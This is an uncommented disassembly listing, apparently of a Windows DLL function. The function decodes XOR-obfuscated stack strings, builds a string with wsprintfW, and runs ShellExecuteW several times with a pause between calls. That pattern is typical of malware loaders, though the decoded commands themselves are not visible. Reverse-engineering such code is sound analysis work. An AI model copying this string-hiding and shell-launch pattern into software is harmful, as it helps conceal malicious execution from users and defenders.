xorps xmm1, xmmword [rbp + 0x210]
movabs rax, 0xe63c4c3294f28b3
mov qword [rbp + 0x1d0], rax
movabs rax, 0x1f747d4a18c430e
mov qword [rbp + 0x1d8], rax
movabs rax, 0xe7b09792129d8d93
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x220]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x384ae4e6b2949e55
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], r13
mov qword [rbp + 0x1f8], rdi
movdqa xmmword [rbp + 0x1c0], xmm1
movdqa xmm1, xmmword [rbp + 0x1e0]
xorps xmm1, xmmword [rbp + 0x230]
movdqa xmmword [rbp + 0x1d0], xmm0
movdqa xmm0, xmmword [rbp + 0x1f0]
xorps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x1e0], xmm1
movdqa xmmword [rbp + 0x1f0], xmm0
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rbp + 0x5b0]
mov r8d, 0x208
call sub.msvcrt.dll_memset
movabs rax, 0xfbf8e340fcd6faff
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x200], rax
movabs rax, 0xa8085e0d0c108058
mov qword [rbp + 0x208], rax
movabs rax, 0x6c789ac20db46f81
movdqa xmm0, xmmword [rbp + 0x200]
mov qword [rbp + 0x210], rax
movabs rax, 0xc99e45975e6fb932
mov qword [rbp + 0x218], rax
movabs rax, 0xfbd8e323fcf9fadf
mov qword [rbp + 0x1b0], rax
movabs rax, 0xa86d5e7b0c7f8035
mov qword [rbp + 0x1b8], rax
movabs rax, 0x6c589ab10d916fa1
xorps xmm0, xmmword [rbp + 0x1b0]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xc9c245ad5e2cb910
mov qword [rbp + 0x1c8], rax
movabs rax, 0xe63c4c3294f28b3
movdqa xmm1, xmmword [rbp + 0x1c0]
xorps xmm1, xmmword [rbp + 0x210]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x1f747d4a18c430e
mov qword [rbp + 0x1d8], rax
movabs rax, 0xe7b09792129d8d93
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm0, xmmword [rbp + 0x1d0]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x384ae4e6b2949e55
mov qword [rbp + 0x1e8], rax
movdqa xmmword [rbp + 0x1c0], xmm1
movdqa xmm1, xmmword [rbp + 0x1e0]
mov qword [rbp + 0x228], rbx
xorps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x230], rsi
mov qword [rbp + 0x238], r15
xorps xmm1, xmmword [rbp + 0x230]
mov qword [rbp + 0x1f0], r13
mov qword [rbp + 0x1f8], rdi
movdqa xmm0, xmmword [rbp + 0x1f0]
mov qword [rbp + 0x240], r12
mov qword [rbp + 0x248], rdi
xorps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x1e0], xmm1
lea r9, [rbp + 0x330]
movdqa xmmword [rbp + 0x1f0], xmm0
lea r8, [rbp + 0x1000]
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x5b0]
call qword [sym.imp.USER32.dll_wsprintfW]
movabs r15, 0xa8085e0d0c108058
lea r9, [rsp + 0x60]
mov qword [rbp + 0x1a8], r15
lea r8, [rsp + 0x40]
movabs r12, 0xfbf8e340fcd6faff
lea rdx, [rbp + 0x1a0]
mov qword [rbp + 0x1a0], r12
xor r14d, r14d
movdqa xmm0, xmmword [rbp + 0x1a0]
movabs rdi, 0xfbd6e324fcbbfa9c
mov qword [rsp + 0x30], rdi
movabs rbx, 0xa8085e680c68803d
mov qword [rsp + 0x38], rbx
movabs rsi, 0xfb96e325fca6fa90
xorps xmm0, xmmword [rsp + 0x30]
xor ecx, ecx
movdqa xmmword [rsp + 0x40], xmm0
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], r15
movdqa xmm0, xmmword [rbp + 0x1a0]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], r15
xorps xmm0, xmmword [rsp + 0x30]
mov dword [rsp + 0x28], r14d
movdqa xmmword [rbp + 0x1a0], xmm0
mov qword [rsp + 0x20], r14
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rbp + 0x1a0], r12
lea r9, [rbp + 0x7c0]
mov qword [rbp + 0x1a8], r15
lea r8, [rsp + 0x40]
movdqa xmm0, xmmword [rbp + 0x1a0]
lea rdx, [rbp + 0x1a0]
mov qword [rsp + 0x30], rdi
xor ecx, ecx
mov qword [rsp + 0x38], rbx
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], r15
movdqa xmm0, xmmword [rbp + 0x1a0]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], r15
xorps xmm0, xmmword [rsp + 0x30]
mov dword [rsp + 0x28], r14d
movdqa xmmword [rbp + 0x1a0], xmm0
mov qword [rsp + 0x20], r14
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rbp + 0x1a0], r12
lea r9, [rbp + 0x5b0]
mov qword [rbp + 0x1a8], r15
lea r8, [rsp + 0x40]
movdqa xmm0, xmmword [rbp + 0x1a0]
lea rdx, [rbp + 0x1a0]
mov qword [rsp + 0x30], rdi
xor ecx, ecx
mov qword [rsp + 0x38], rbx
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], r15
movdqa xmm0, xmmword [rbp + 0x1a0]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], r15
xorps xmm0, xmmword [rsp + 0x30]
mov dword [rsp + 0x28], r14d
movdqa xmmword [rbp + 0x1a0], xmm0
mov qword [rsp + 0x20], r14
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], r15
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], r15
movdqa xmm0, xmmword [rbp + 0x1a0]
lea r8, [rbp + 0x3a0]
xorps xmm0, xmmword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
mov dword [rsp + 0x28], r14d
xor r9d, r9d
xor ecx, ecx
movdqa xmmword [rbp + 0x1a0], xmm0
mov qword [rsp + 0x20], r14
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov r13, qword [rsp + 0x1750]
mov r14, qword [rsp + 0x1748]
mov r12, qword [rsp + 0x1788]
mov rdi, qword [rsp + 0x1780]
mov rbx, qword [rsp + 0x1778]
mov r15, qword [rsp + 0x1740]
mov rcx, qword [rbp + 0x1630]
xor rcx, rsp
call fcn.180004be0
add rsp, 0x1758
pop rsi
pop rbp
ret